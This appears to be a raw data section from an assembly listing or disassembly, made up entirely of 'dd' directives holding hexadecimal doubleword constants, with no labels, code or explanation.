		dd 6437F600h, 75D3E4C1h, 0B038FEE0h, 87060B57h,	0E4A05C0Fh
		dd 6DEA6FD1h, 10772B7Eh, 0F7478B09h, 1A90108h, 0C4207EEDh
		dd 0BFB81F70h, 575CB88h, 0F803908Fh, 41D8C792h,	2720BABh
		dd 37F725Ch, 8BA25DBEh,	8350A7E9h, 7F78AAF0h, 82BC00EDh
		dd 0E22DFD8Eh, 0AC005F3Eh, 531D9D10h, 0FFD21EC1h, 0F7A44630h
		dd 95C330h, 17B9BB39h, 2C44D856h, 1E8E9F00h, 0CA684CFBh
		dd 3BD72B1h, 2AD62E7Ch,	1DE05E5Bh, 790F6031h, 80F085C5h
		dd 5329EE9Fh, 554B0013h, 85A6D2Fh, 85013638h, 3296E863h
		dd 99E4C2EFh, 1EE00B7h,	0EA516603h, 0A9000D47h,	0C2E70979h
		dd 71E7B30h, 6D984FEDh,	41F7907Ah, 0E5000B24h, 440E5143h
		dd 7935FFFDh, 0FEA10915h, 0E4001025h, 147322BDh, 46079601h
		dd 7F0F5BEDh, 115C50C2h, 0AD4560h, 0FC190DBCh, 15D2FDh
		dd 0EA31FCAh, 0C06E1E23h, 0D09F8A1Ch, 26DCDD14h, 873A72A2h
		dd 0AC651396h, 67E187F0h, 632403A3h, 2D754EA5h,	256E55E0h
		dd 0CC816A00h, 0C43FAB9Bh, 0ED0A0078h, 67347E6Ch, 0AC3EE8FAh
		dd 0B5F5006Bh, 870DA098h, 85F3012Fh, 1825512h, 81F8DC35h
		dd 0A0B85B00h, 0A2C5E076h, 23842ED4h, 5F89010Fh, 0FDB51216h
		dd 0DFF480D8h, 7C9014D3h, 2CB0CB4Ch, 60BA40C9h,	9F00F168h
		dd 516F6938h, 3C01C748h, 23CBC39h, 0B4A03CA5h, 7550388Ah
		dd 80F77F27h, 18134F8Ch, 0F2C00015h, 0A4C54CD7h, 0CA03C8C2h
		dd 81578B70h, 1D280535h, 0B26314D2h, 0F7EC0074h, 0CF5819D9h
		dd 285D1D62h, 88EB009Ch, 0CBE6208Ch, 865FB80Fh,	2915841Dh
		dd 0C4E0CC0h, 341A3E68h, 64727104h, 2C54C03Ch, 0C6008B17h
		dd 9027B933h, 0ACBE5Bh,	468375BBh, 0CE3B1204h, 0B6B0200h
		dd 7E88574Eh, 96BA04A8h, 0C7044542h, 0C77D0F4h,	340220D8h
		dd 0AB9A1A69h, 81C84083h, 0C43500FEh, 0AA0AEF0Eh, 507C9A7h
		dd 67EB2045h, 18C1C39Eh, 28FFD8B6h, 5CE70471h, 0F0755E95h
		dd 0C212F620h, 480B091h, 355E0F9h, 1EDC76Ah, 1900CC69h
		dd 6E468DC0h, 12EAE4CAh, 0A5EEFE9Bh, 0F5FD30E0h, 0FCA58905h
		dd 0B7021999h, 0C8C69BACh, 390AE690h, 0B7806A71h, 202A97A7h
		dd 0F17ACB08h, 6912F798h, 0A70F2563h, 0FC4C41E8h, 0CBECEAD5h
		dd 95A0009Fh, 0ACB22250h, 170570BFh, 5BC93311h,	0E512F500h
		dd 1D54C8FFh, 0C090EA35h, 3F672A3Dh, 0A100D48Ah, 2698DDECh
		dd 4A1D7258h, 0C5EC8052h, 5E3E5A7Eh, 0F1138421h, 5CD08E6Dh
		dd 0FCCA9ACBh, 1B33483Dh, 2EDE5300h, 0E4A7AF6Ch, 8CBDA51Fh
		dd 0EBF39C40h, 0CF0436h, 0BC779E43h, 4DC44E95h,	0A628DE00h
		dd 8BF0541Eh, 7489729Ch, 0D0260084h, 418306CAh,	7400A53Eh
		dd 0B5391CAAh, 29628DAh, 1991FFE2h, 0EC62AD80h,	619B0180h
		dd 361FD0E4h, 67004376h, 898C85C7h, 0B09F01DEh,	55C59ED8h
		dd 0DFD0D7EBh, 4D0CD402h, 10DCF30Eh, 7A9900A3h,	3FA18FC8h
		dd 0B6076D6Ah, 82C22BB4h, 175072C9h, 412A11F2h,	980E28A0h
		dd 41CAE4F0h, 8C49CB00h, 64B6A919h, 16A52508h, 760E2CE4h
		dd 0C0FB5DB9h, 5842DAA9h, 0D53005Fh, 0BB2C2FC4h, 7B5C338Eh
		dd 0F4B20F6Eh, 64E3609Fh, 78C63225h, 7D1E00EFh,	17AAFD34h
		dd 3B1C20D4h, 0BE00A75Ch, 0C982DEF6h, 58530064h, 402BB354h
		dd 0AA008E03h, 56AC0823h, 7F1E3BDh, 0A334DFD7h,	0FB009E2Ch
		dd 49139A5Eh, 0F799D524h, 7131FA00h, 1F43AA5Fh,	80A28BAFh
		dd 0FCEBD85Ah, 0DB00CF3Ah
		dd 46084B61h, 100D70h, 921FA263h, 0FEAD7558h, 0E42FA900h
		dd 0B8BE5582h, 0CC7D0362h, 8B20CFF6h, 7F2B65E0h, 9D786900h
		dd 0C6DF3B6h, 923E007Ah, 0FD03180Ah, 6303B9ACh,	1DC409B5h
		dd 5032E0DFh, 34A7594h,	0ADB07CBBh, 6FA9DAF8h, 376420FCh
		dd 11A29300h, 1E6986EAh, 18E904B7h, 82F0BFDDh, 0DBE057ACh
		dd 6B00BD6Ch, 3CDB5CF8h, 1334CD1Fh, 59DF8Fh, 18A4B193h
		dd 201CD0CCh, 0E340F29Ch, 173C08D1h, 0C360161h,	0A3889780h
		dd 7FBB20E7h, 0F2571600h, 943E7019h, 0AC400C9h,	0BAB80609h
		dd 330EDE9Ah, 5C163D67h, 50F2803Bh, 0C0694DC5h,	97A0040h
		dd 956F9FE1h, 0AE003F4Ah, 12299ED2h, 0B7DEC7h, 0CE484E1Ch
		dd 2D941380h, 877F0400h, 0F0DB56C1h, 0F853009Fh, 91CBC6FBh
		dd 5A004864h, 0D3A260F1h, 0A85FB3h, 0EC43D0D2h,	0E0416DEEh
		dd 0BCF64907h, 45B0C2F2h, 91FC307h, 4CDF61C7h, 9EAB6C80h
		dd 58BA4E3Fh, 78EBE01Dh, 66C62500h, 1DB98CD4h, 8020F636h
		dd 77A043E7h, 25F0E889h, 316BA700h, 0D8922B3Ah,	0CC170F76h
		dd 0BA20EC88h, 5E8D0355h, 291C0700h, 0AD20F7DBh, 239400EBh
		dd 0D2ACC43Ah, 0D90B3F41h, 1BD687Eh, 62A8EFFCh,	12E4D5C8h
		dd 8CBCF3h, 0D274F0DCh,	7800B945h, 95F844Fh, 0E5921A88h
		dd 0D17460h, 5B504E36h,	0DE87AC76h, 393BDD07h, 0A9E291DFh
		dd 64E0E002h, 9FEC037Bh, 7D1BCCB1h, 104E33E8h, 1604BB7Eh
		dd 4A31D058h, 0CC710C1h, 0B6114480h, 13092D62h,	0EF513400h
		dd 158FF845h, 997F0EAAh, 5FD285EDh, 6CB4C010h, 7172F6A5h
		dd 3700BDE2h, 30680B70h, 146C3B7h, 81457D89h, 70AAA2F1h
		dd 0BD00AB8Dh, 49F8242Bh, 17E39Bh, 0C21F3670h, 61273223h
		dd 2019D426h, 7E8010C1h, 6A31F4h, 0AB21ADCDh, 82E10F98h
		dd 11B3CA03h, 987FA35Ah, 6183AEh, 7CF854F2h, 46E778F9h
		dd 9006FF6h, 70DC551Ah,	7D77B67Ah, 0E4477F3h, 8EDB943Dh
		dd 625C05Eh, 0E1C9C69Ah, 0DE1D4A00h, 0D3E7F541h, 0D8FD0015h
		dd 0D5A78293h, 1C1CA8C2h, 780198CDh, 68B68CEFh,	167820h
		dd 0B4AA3BF1h, 83A33DA1h, 13D45E00h, 5F36719Ch,	0B0F2006Dh
		dd 0FD53378Bh, 0A6A091ABh, 0B13CA1FBh, 67CC6Ch,	0B72D9058h
		dd 0A96D2Ah, 841DF70Fh,	96C1CD9Bh, 0DD32D114h, 0B7007E8Ah
		dd 6DC987DFh, 443A55h, 90E25C25h, 7C10FEE8h, 94700300h
		dd 18AE4BEFh, 5EEE7Dh, 0CF14D79h, 52AA9CC9h, 0BF37770Eh
		dd 0CDD6E0D0h, 0E63A5382h, 1986Eh, 24B3C518h, 4198521Ch
		dd 0E2277624h, 57F02D00h, 0DF19C7h, 5ABEC914h, 44C24D1Ah
		dd 0CB8FAD00h, 0F96991B5h, 67A00D3h, 733DF5DCh,	0D00D7B1h
		dd 6CB9C032h, 0D675B7h,	0D9CA9F74h, 0D1726271h,	0D365CD00h
		dd 0D0E2044Fh, 0A72D3C7Ch, 5FCCEC3Fh, 0CA109B00h, 71C3FE90h
		dd 56E92A07h, 0D9B3A844h, 9422B885h, 0C15707D5h, 80E3E550h
		dd 0DC41CC02h, 0F97DA00h, 8BB50610h, 68E60A8Ah,	8F0366h
		dd 77A4A4Dh, 0C700DB50h, 60E71BE5h, 2CA1A3h, 86E23280h
		dd 1CA520FCh, 0D7432600h, 0D30FD973h, 91723Ch, 0AB93616Fh
		dd 0DC90542Bh, 81B96600h, 651FF402h, 764000A8h,	0B1BEA63Eh
		dd 5500F3DDh, 496ADE8Fh, 42A13Dh, 0B834B3CBh, 9E47FF85h
		dd 225F0D00h, 1FC775EAh, 799F829h, 153AED17h, 0D92EB064h
		dd 8B01BF09h, 0CA1C4E97h, 47D0F6C6h, 43BA0024h,	0DC51F1C2h
		dd 0B100B519h, 57B8A40Fh, 3023E7E0h, 0D960A9C5h, 74004CCFh
		dd 0EE78D3BBh, 110172Ch, 0AF15FBF6h, 0DD800EF1h, 4F1083DAh
		dd 0E9BD2E14h, 0D6DC8A6Eh, 3EB100F1h, 0D9C60671h, 0CA50231Eh
		dd 0FD0F1D2Ch, 9DE475h,	2C4296BEh, 920E02FBh, 1CF0F1ACh
		dd 21276BE3h, 69870A0h,	4792BFECh, 0D800197Ah, 0DA38AA16h
		dd 0E5B0EDh, 592579C3h,	5670A478h, 0D3FB2802h, 0C0105227h
		dd 6DCCC3h, 5E8A64Bh, 661FC58Bh, 0B4031703h, 0D8B3EC52h
		dd 83FAD2h, 0ADB9F1DAh,	0C35B8477h, 684F2CC0h, 8CD6B6h
		dd 13F02182h, 5CB2083Fh, 5D631500h, 0BF973E09h,	714F00BDh
		dd 236034Dh, 1000B435h,	397C4698h, 0DF4C45h, 9F784AC1h
		dd 5979B287h, 82486D7Eh, 0B3570085h, 0F4581C52h, 0C50707B5h
		dd 9D38BF7h, 3F00A4F8h,	0A034CB64h, 3EC97Ch, 0C1BCC5AFh
		dd 0A444F721h, 0C497724h, 72A338Fh, 34E36958h, 5CEC80CDh
		dd 0E64D0702h, 6130249Dh, 0E8F8C5ACh, 8030BA7Fh, 5692389Fh
		dd 0E8D0A00Fh, 378F647h, 2A2E790h, 1AA05ED3h, 5F500C2Bh
		dd 5DB024F1h, 75EB091Fh, 0A9D6A480h, 0F2391Fh, 955810D7h
		dd 2CBD256Ah, 0CBAE8900h, 838E21A8h, 0C054E62Ah, 36F44BFAh
		dd 3050718Bh, 0F80064C3h, 7766BB16h, 0B20C7E2h,	0E415826Dh
		dd 0D69ED180h, 8A009F12h, 31615C83h, 51ECF4h, 0ACEFA8D7h
		dd 7F1824A6h, 19597200h, 7A27702Dh, 7C6009Fh, 8BA41702h
		dd 0FE00971Eh, 0AE0359BEh, 0EC5BB6A9h, 3ACDFE64h, 0E10FEA3Fh
		dd 12E7C872h, 8F85081h,	8A4CC992h, 2CEF0175h, 2EF9A9E3h
		dd 0C01E67D0h, 9326020h, 0C5032D5Ah, 0CB623A2h,	8E4A3056h
		dd 39807E20h, 9C5B9403h, 0C0BED56Dh, 91ED09h, 35A3C324h
		dd 6A33F207h, 0F6520600h, 0CB5FD4B2h, 64381E56h, 0E33A0009h
		dd 37F5C44Ah, 191E4076h, 0C09EE6EFh, 0F9B20CC1h, 0DEF8E9BBh
		dd 3690082h, 0F0E0A56Fh, 0AB006C93h, 1A45B13Ah,	0B8C8220Dh
		dd 489B00D7h, 4BF98D3Bh, 2424F6A4h, 1A0066C7h, 8849F52Ah
		dd 0D811C0CDh, 40B579CEh, 3A07297Bh, 3C8621C5h,	1C202E16h
		dd 0C051BCBBh, 83D0644Fh, 2700FD01h, 0A534BD1Bh, 2802B197h
		dd 27846FBFh, 7878407Dh, 0B0009E76h, 2EC0EC5h, 1359C27Ch
		dd 18B5FB2Eh, 1F7FA8F9h, 57CBA400h, 5FE86A25h, 882B53DAh
		dd 0B9792007h, 3341C416h, 0B2680047h, 0F54A3938h, 0C83980DFh
		dd 133F7F67h, 83443DABh, 4F4D07A4h, 0DAACC86Ah,	974A0014h
		dd 0C1B1587Eh, 43008530h, 208664B3h, 0F4F19CBEh, 1EE7F63h
		dd 0F3EF485Fh, 204490ACh, 0F500A218h, 74354DCh,	50081B2Ah
		dd 5BDC94h, 551D7A73h, 0C89CC7C0h, 1D98CAE6h, 71EC2FAh
		dd 699DDE17h, 3AFF647h,	0C19BEC0h, 0A90B584Ch, 28A32C00h
		dd 85DEDCADh, 0CC41AB60h, 9A57521h, 328CB99Fh, 0A43019C0h
		dd 920D6901h, 34CC2C38h, 797015E4h, 0E139CE54h,	1BE0CB00h
		dd 1100CD3Ah, 0F3FE3074h, 4A64A8Ah, 663D9771h, 96D2C00Dh
		dd 0C03740B6h, 39D088F5h, 75B0FDC1h, 1D90009Fh,	0CAF2283Bh
		dd 6A0010DCh, 811F9617h, 3B467A86h, 3B878E20h, 402B2755h
		dd 0DF8F32C0h, 6863000h, 0EE65B803h, 1D484861h,	4DB50B0Eh
		dd 2E99D743h, 3DC68DD0h, 433E6A1Dh, 47712BC3h, 0D8D00ED2h
		dd 1720CFA2h, 0E29FAD2Eh, 548CA706h, 3CE096E3h,	4C3AB5E5h
		dd 0F4133Ch, 50F0D629h,	118A15DAh, 4900B871h, 0E8CFA93Bh
		dd 0CE78C7h, 0D3C6225h,	20B2504Ah, 7C440C00h, 5940D474h
		dd 71EB042h, 0CEA74746h, 0F9B9D2E6h, 8A0F0496h,	80B8C5C4h
		dd 1C95171Eh, 0B6DA00BCh, 487E58ECh, 33A9740h, 77B507C4h
		dd 0D5B3C838h, 0A291086h, 670C0088h, 950237CAh,	9DF7001Ah
		dd 0FA2545BEh, 0D00081DCh, 0AD2CC3C4h, 8B223Fh,	0A8586C2Fh
		dd 0A21E8896h, 3BD41C00h, 9128682Eh, 1CB3ECD7h,	9E6D1735h
		dd 0A295007Dh, 0A1978603h, 1DB0C73Eh, 0A5DF668Ah, 83DF2F89h
		dd 0B82C0A86h, 0FC9AACh, 52F6495Ch, 0C66A72BEh,	73D2A21Ch
		dd 22C06BC7h, 0BC009CFEh
		dd 3221613Ch, 0E0C900DFh, 2CC27EB7h, 316DB0Fh, 3B04F445h
		dd 0FCC01436h, 1C3BBDF0h, 0F82D4668h, 3866C300h, 45F1BEAEh
		dd 0DAA81B50h, 5CD82200h, 9ACE70C0h, 8A270051h,	42E94D9Ch
		dd 90008018h, 0B225A207h, 27D9Bh, 0ED6AFDA1h, 4F4362D8h
		dd 373E87EAh, 0E8F792A7h, 7AE56340h, 0C6C169h, 8C4FBEC7h
		dd 2E7CD718h, 561FCD03h, 0E8DD1A3Eh, 17DBB25h, 0FFB7D897h
		dd 303641CFh, 7900F8E7h, 20E3B001h, 183E5Bh, 6A8A5FEAh
		dd 0E219C4Dh, 2D00C17Eh, 744F1EFDh, 3DC3E6FBh, 33AC3C7Eh
		dd 60D80062h, 0DC6CAFC6h, 0CDEEF600h, 0B5C7F7E7h, 0CFB052h
		dd 25928846h, 2FD40511h, 5D108C07h, 0AB934731h,	0B3FEC840h
		dd 0D4A004Fh, 5CFBFAAFh, 0CFEE31A3h, 34632B00h,	4674C0F5h
		dd 1BF78B0h, 0BB4E7021h, 0D41765F2h, 0D03894D7h, 0C908801Dh
		dd 0B9D5C802h, 0B6E30052h, 1AC104ACh, 0F90033C3h, 0E67D611Dh
		dd 12CB6Eh, 14450555h, 2C1F0D26h, 24138800h, 42A9B3Dh
		dd 0F9ED5CAEh, 207FCB00h, 0EC38F694h, 0F11A650Ah, 3DE86Bh
		dd 61B7219h, 981FCE17h,	0ACA700ABh, 51B40871h, 9900C5B1h
		dd 86789B88h, 0AE4E50h,	0DDFDCA2Eh, 159071F9h, 94D84903h
		dd 98A3836Dh, 17124BF5h, 118C204h, 0EAB77570h, 6C642094h
		dd 0F6C71601h, 2BCA31BDh, 182D43CCh, 0A293743Ch, 3400A924h
		dd 23E29CC8h, 0C9F9Eh, 282DC6F8h, 1FC43986h, 0B8D6540Ah
		dd 1800CB34h, 0DD8C0F55h, 40D032Dh, 2E8D5F6Eh, 6998A2D0h
		dd 56001879h, 0E74C9E72h, 0F9C8B94h, 220A30ACh,	4FB7F40h
		dd 2B0BEF28h, 8020CB88h, 77D45E53h, 0E2D20056h,	0DCE35C1Eh
		dd 9800413Eh, 7B8D2CEDh, 6F61C2h, 48B7F275h, 943FB967h
		dd 1B524500h, 0FDA9D1A2h, 1FEC9046h, 406A3803h,	82BF368Bh
		dd 7600B5D3h, 0EEB3CE4Fh, 0E33E41h, 20E226DEh, 0F9149FFh
		dd 8A0A5A00h, 820C5670h, 0D7B0022Dh, 2A23C2D3h,	262F2440h
		dd 57DD1D00h, 53B1E23Dh, 0A270126Fh, 7BC40097h,	0DE6EDECh
		dd 1A109D60h, 0F0BDBh, 98885842h, 9A164DC7h, 0E600B4B0h
		dd 0CAC512F4h, 0E584B1Dh, 0B54C9874h, 3F89C440h, 0C9006CA2h
		dd 0D1BD97B8h, 62F540h,	6FB730Ch, 9AAE5F7Fh, 0DBD34D00h
		dd 9FD5D190h, 0E3830711h, 80A9856Ah, 0BDE62225h, 404CBCE4h
		dd 494C0F90h, 0F1C0A00Ah, 1AD32Dh, 0B3F64261h, 8E70F431h
		dd 0A12613FEh, 0FA00DCE6h, 9A691D75h, 0E148000Eh, 934272ABh
		dd 4E00DA85h, 0FCF42D0Bh, 986FC7h, 7BB4DC61h, 91D05171h
		dd 1AB54E13h, 0F85F00AAh, 0E342982Ah, 392E700h,	9D246AABh
		dd 0AAAE00F7h, 49FA8CD6h, 811E0DD1h, 4C431A76h,	0A73CDEE2h
		dd 3B9FD770h, 0A09A0Eh,	9719A96Dh, 28D86684h, 37E3F900h
		dd 6B41AC63h, 0E7C98E7h, 0FF22EFD5h, 8DD11580h,	100E939h
		dd 0F6F13E62h, 0C1AE1C9h, 1280CA10h, 5B0091E8h,	0BC03B2B0h
		dd 94333Eh, 0D1522870h,	63FE997Dh, 9202E800h, 0DBDE594Ah
		dd 0F47F7Ah, 4FE7E1F6h,	0E3359FA2h, 639D5400h, 6E448B03h
		dd 177F00B9h, 0E18A62A9h, 25981C48h, 0C07DB882h, 7BC7D869h
		dd 6CF1005Ch, 0DA0C724Eh, 4205C940h, 18863D33h,	0FC37BC00h
		dd 96BCF4h, 38D5C467h, 3C2CFD2Ah, 9EF72402h, 555040BFh
		dd 0CB839500h, 673BC459h, 0B2FB00FDh, 0BBF179A8h, 58E900D3h
		dd 2859FABEh, 4701CDBFh, 116AE0D4h, 4DCC19F1h, 32D784Ch
		dd 14575BE1h, 0CCE9CB3Ah, 0F467C8B3h, 221E070Eh, 558840C4h
		dd 4AD524h, 0DDADD0B2h,	0D47B4F78h, 0F4B96A1Fh,	0E00A40CEh
		dd 15ECB43Fh, 0A2940004h, 3CD1B7DEh, 78017142h,	0B3655B24h
		dd 0D0DC291Bh, 0A7C901FAh, 0CA9F8F75h, 9956C438h, 0A281C400h
		dd 52BA8A06h, 6D3400EDh, 0CDF0A059h, 42009A05h,	0FCF17DFEh
		dd 20D9D1h, 1F3F7C1Eh, 66858D84h, 0D40C2D00h, 0DF95057Dh
		dd 2B540E98h, 4004EFAh,	0BDC7B635h, 34D3E400h, 0DC99D8FEh
		dd 0A6A700C0h, 0BD1A575h, 7E01F8E0h, 51190228h,	61FCAF26h
		dd 492A00B2h, 43820EBh,	0D000F2E2h, 6A2BF8C3h, 127F518h
		dd 4A790B59h, 0D9350831h, 0F49F71D4h, 0DB00657Ch, 0AD336488h
		dd 262E5F16h, 0C0D05B6Ah, 689AD13Bh, 0CDF22103h, 0E242479Eh
		dd 323C602Ch, 0CAD81D81h, 0C0E7DE4Ah, 2DA665BEh, 4F0113ABh
		dd 49B4D648h, 3680161Fh, 17F46934h, 6B062B50h, 5AA407E0h
		dd 0B5E70056h, 81F10A2Ch, 0FC002991h, 7F084D93h, 181F78B9h
		dd 0C8A145F9h, 0FF5C10C3h, 0D66A073Ch, 69237FF6h, 0E10007Eh
		dd 5558D9A4h, 7D79BEF3h, 0CB150403h, 0DF504EBDh, 0C7DD29D1h
		dd 92E089CDh, 0B64005Dh, 6BC5E39Fh, 7A001E03h, 6042DABh
		dd 277F28h, 9072F234h, 130FD69Fh, 9A0F0D7Dh, 0A0BF2960h
		dd 0F05FE5FEh, 71B200CAh, 2B5958C3h, 487F4D53h,	0D105007h
		dd 4E207202h, 0FCBF5Eh,	0E24A85D5h, 0ED918432h,	94002C90h
		dd 6950E68Ch, 395724h, 31CE93B9h, 0E2E5E9D4h, 0EE896D00h
		dd 0D336A046h, 0AF54007Ch, 0A457754Fh, 16F831F7h, 0F51DDE00h
		dd 8099A889h, 0D7DA00DDh, 0D5BD8B57h, 0E9000856h, 47385863h
		dd 95334Fh, 0BEB470E4h,	2D11F40Ch, 6FD09200h, 8C30C918h
		dd 643700EBh, 0DAFD5E8Ah, 0E7CE7E5h, 0BA94B703h, 0F0E0F268h
		dd 1E73DD6Dh, 43257E99h, 0E8879243h, 95C8E000h,	0AE414A2Bh
		dd 0E3C60231h, 0BBB6D638h, 0BC188087h, 7C3ED1E6h, 0F63A1368h
		dd 2B2DBD00h, 38BEEh, 51D5E2CEh, 235510CBh, 3BD9C200h
		dd 0B5AF2F5h, 2DAE001Eh, 0C4F7B80Fh, 0C0024EAh,	7D84F96Ah
		dd 0E14110h, 0C16FCF85h, 8B9205D8h, 261EA200h, 0E4A7B50Fh
		dd 0FE6B01A4h, 0D1208956h, 62DAC4D8h, 93F11600h, 908E99B6h
		dd 0B2D502EDh, 0B50E4B6Dh, 6A56C540h, 34BE2F00h, 0C35AA045h
		dd 5CC83FE1h, 79CB3000h, 4D2E35Bh, 55BC7C00h, 4DDD6E26h
		dd 2CEC0002h, 802BF5F8h, 0F0078378h, 5B9D252Dh,	0C4C340CFh
		dd 0D264EBh, 51127F21h,	1B62B0D3h, 4DBB0501h, 8E9736BEh
		dd 0FE07FCh, 1CD8CF3Fh,	0DD239E75h, 625B08C0h, 0C9D232h
		dd 0DB6DD705h, 0A0DA454h, 0FEA5F000h, 787BF92Ch, 0B49A00C8h
		dd 0F5FD40CDh, 0B800D8FFh, 82B0CC9Eh, 5BA02Bh, 0C334C0BAh
		dd 8198A4AFh, 0B01DE7Dh, 3333B26h, 0A880C943h, 9F70E92Fh
		dd 5300A7FAh, 6D0B3A9Ch, 987725A3h, 0CC2B0016h,	0B1AC8A95h
		dd 0F7004844h, 38D96FC8h, 0BE6B98Bh, 7F02EE2h, 52BCE80h
		dd 80C08482h, 0D2929154h, 7FB3014Fh, 45BFAAB4h,	70D04042h
		dd 0D10050A3h, 0C5E55422h, 741577h, 0ECED0E38h,	47AB98B4h
		dd 40F37907h, 85A091F0h, 82DF46h, 0CCF8176Bh, 0D1FF29D0h
		dd 1EFA6C07h, 799089BFh, 2423Fh, 1EE8421h, 4DA75282h, 1D6BD63Ch
		dd 0DA409451h, 8D29C171h, 61640069h, 9C0F3FC2h,	94074FEFh
		dd 23C812F1h, 960220C2h, 0E8620820h, 97478B6Fh,	68C0BF17h
		dd 9F07EEh, 7FAC4D7Ah, 0BA3F9452h, 8FD53700h, 8203D380h
		dd 954501CFh, 651802D6h, 0C7488F6Ch, 5772611Dh,	63F4D428h
		dd 0C0310A64h, 8C0AA6h,	32FFAB60h, 68038153h, 1F52CDD0h
		dd 0A0BED3h, 0B8418951h, 0B4109788h, 0DC3F841Fh, 0BF8EC880h
		dd 2F5B7Fh, 4783AB36h, 391CF59Eh, 0D3DA7000h, 87D1BBD4h
		dd 0AA653712h, 449BD0F0h, 8A7A5297h, 194B0612h,	4140C61Ch
		dd 2BCB1CDh, 0C040F4CBh, 0FEACA6B9h, 99011E1Bh,	87A79B3Ah
		dd 80584ED7h, 0E57B25E0h, 985361D0h, 0A923C180h, 8DE85782h
		dd 10E900A2h
		dd 0F7933A9Bh, 0C92815B6h, 6C00F0EEh, 947FDDDBh, 0B8453h
		dd 50FF83BDh, 1B7BACA0h, 0D05AC500h, 577C5902h,	0CCDD007Fh
		dd 475B61D5h, 2F3CC9EDh, 0A370042h, 0AC111A56h,	2D176D6h
		dd 3873CAE6h, 20945D97h, 12FA3608h, 0A5D241CAh,	9889F0F3h
		dd 221688C7h, 38529E30h, 86D0A8BDh, 9A140073h, 75988C83h
		dd 740A3005h, 0C8A84036h, 822DD982h, 853444DBh,	71ED7004h
		dd 53ABFA2Ch, 39917B00h, 6D987h, 13485F2Fh, 1EF6520Ah
		dd 79DB4000h, 8FEAA6A3h, 0FF875ECh, 0A2B2F537h,	9EC52720h
		dd 0D20171D9h, 3BDF363h, 0F8E3D770h, 53BCF1h, 7A65A35Ch
		dd 69EC462h, 3A0E7CE0h,	2F29B2h, 0D919E1F7h, 0FB8D1732h
		dd 0CADD0042h, 2B89DE45h, 9C009575h, 0A94CF056h, 0FBC1Dh
		dd 0D9091327h, 11EEA868h, 783CDCF0h, 241580A0h,	62FA3E4Bh
		dd 385000Dh, 29053D81h,	33EAE16Bh, 7BD52600h, 51417806h
		dd 0FC7D00CAh, 59FA9675h, 0F20EF14Dh, 0E0714488h, 72E27980h
		dd 0EDBD00B2h, 1442DE7Ah, 9400B3DCh, 0C79195CFh, 160E1E7h
		dd 5274475Eh, 3065E51Bh, 0B200446Eh, 0D629A064h, 82CE4Bh
		dd 0C166A762h, 65ADDB97h, 77C3F003h, 0F057A863h, 39F36F5Dh
		dd 1B01B113h, 0EC36F697h, 0AB742053h, 5C81670Fh, 7E3F001Dh
		dd 72526B8Eh, 16FE1DE8h, 0FDA8C38Ah, 29F8FFA0h,	19007675h
		dd 8E8CBDEAh, 0F06F8D59h, 0FC0A007Dh, 3221F872h, 140007A7h
		dd 0CC9F7391h, 0AE02A9h, 8F975474h, 8679B155h, 9399B000h
		dd 1F6330B9h, 4B39006Eh, 0BCCA4A92h, 0B00027E3h, 53083B71h
		dd 0DCD543h, 0FE4F29C0h, 0C9F8D326h, 1728E0A0h,	14ABB900h
		dd 0C62D8FB1h, 0F01E0E53h, 3B405B6Eh, 96DF685Dh, 4A889500h
		dd 6FBF8B2h, 65FD008Ch,	6ECF6983h, 3E1F68C1h, 75DD6C37h
		dd 0A140D65Ch, 0ACB24DF2h, 0B0AF5C25h, 0AEC6EF0Eh, 0C528DF20h
		dd 0B91C8D8Eh, 0ECC1271Bh, 0A37CF934h, 0FBDD4080h, 297B89A2h
		dd 0F409B507h, 5A13859Ah, 0DCA5DF10h, 6E45C800h, 51C7C5h
		dd 24273C0Fh, 598B31EBh, 2F23A600h, 4DBE35E3h, 0BB9005Dh
		dd 4E1D0528h, 0D40075F7h, 6FCE6A85h, 1FA4FE63h,	0FAC8F0h
		dd 0DD36B3ACh, 0A038D628h, 40C40019h, 6A396F26h, 0B74E0015h
		dd 204D02ACh, 519038FEh, 80B6EA00h, 8B9FC362h, 8A6A1D04h
		dd 414E803Eh, 0B821E6EDh, 0B6697A02h, 40A2F1D8h, 30E98755h
		dd 76ECBE78h, 6E0008E4h, 63A62288h, 3BEDB4h, 0A5A2D9CFh
		dd 37A81D1Bh, 76FF6D00h, 0DFB0B3C2h, 0F6B3F63h,	24BB0E87h
		dd 0E0479002h, 3603E337h, 0BE8183F5h, 49C5AC19h, 2704CA0Eh
		dd 1A40C8BDh, 94AE01Dh,	77180BEAh, 0F8805C8Eh, 91C6C505h
		dd 0F4D30200h, 0BCFDBD67h, 0B0A90046h, 8D760DEEh, 31017462h
		dd 35F701CFh, 0E4702B4Ch, 0CD650F03h, 6A035BEFh, 43C0043Eh
		dd 7400C00Bh, 0F68A9A7Eh, 77B23BFh, 0DC9DB934h,	0E95420D9h
		dd 53091E2Ah, 73E4A6Ch,	0CF0702A0h, 0AF1550E0h,	0A0EF008Eh
		dd 0AC042412h, 0E10080ECh, 0B4B9B525h, 0E81DEBh, 0F78B59DDh
		dd 0EC8E15B3h, 23F19E00h, 0C611E78Fh, 6E7F007Eh, 1E957429h
		dd 9F000F93h, 15571BF1h, 0A5F41Dh, 0DEC5F0AEh, 0EB9E946Eh
		dd 2E1CB500h, 4C53B819h, 3D02242Fh, 68160034h, 0E13C55CCh
		dd 342B4Ch, 7437EB99h, 0F7C345h, 68977223h, 0A17B1282h
		dd 3C245000h, 2DA57DDAh, 0ED0F79DFh, 7930006Ah,	29DDE4E5h
		dd 4E62F003h, 0F012C7ABh, 2C207775h, 0DC58B3h, 45444C95h
		dd 0BB00EB6Ah, 49A8527Ah, 0F085FCh, 4E757950h, 0E753440Bh
		dd 83CC0A0h, 8AA64C05h,	841FC9EEh, 0CDA1BC43h, 1D83E7DBh
		dd 0D34B01Bh, 0B89900E2h, 0FC6611B2h, 9B07187Dh, 33104730h
		dd 0F8BC9483h, 882085h,	0C9C8444Eh, 64D26B17h, 0D8576800h
		dd 0FBFD2613h, 298D01CBh, 9EEDB722h, 4C99C8FFh,	0D27D1B16h
		dd 2CA05C00h, 51F1B2h, 432BAB40h, 2379E632h, 0CD241F00h
		dd 92312281h, 0F2684862h, 70254B00h, 0D37DCE26h, 99A0667Ch
		dd 0B7004895h, 0F3D9D2A2h, 11F7A17h, 533F35DBh,	80232058h
		dd 0E8CB2DA8h, 0FCB3AFh, 0E4F566C4h, 0BCFBD71Ch, 88EFEE00h
		dd 0F7F614E7h, 1EC7B59h, 8B77E475h, 4047CA98h, 25D2CEB8h
		dd 5169C000h, 0B003A68Eh, 90553AD0h, 0A26226h, 0AA74CA5Fh
		dd 0C13CDBE7h, 89DFB861h, 80D2CC59h, 2C412703h,	0A228C381h
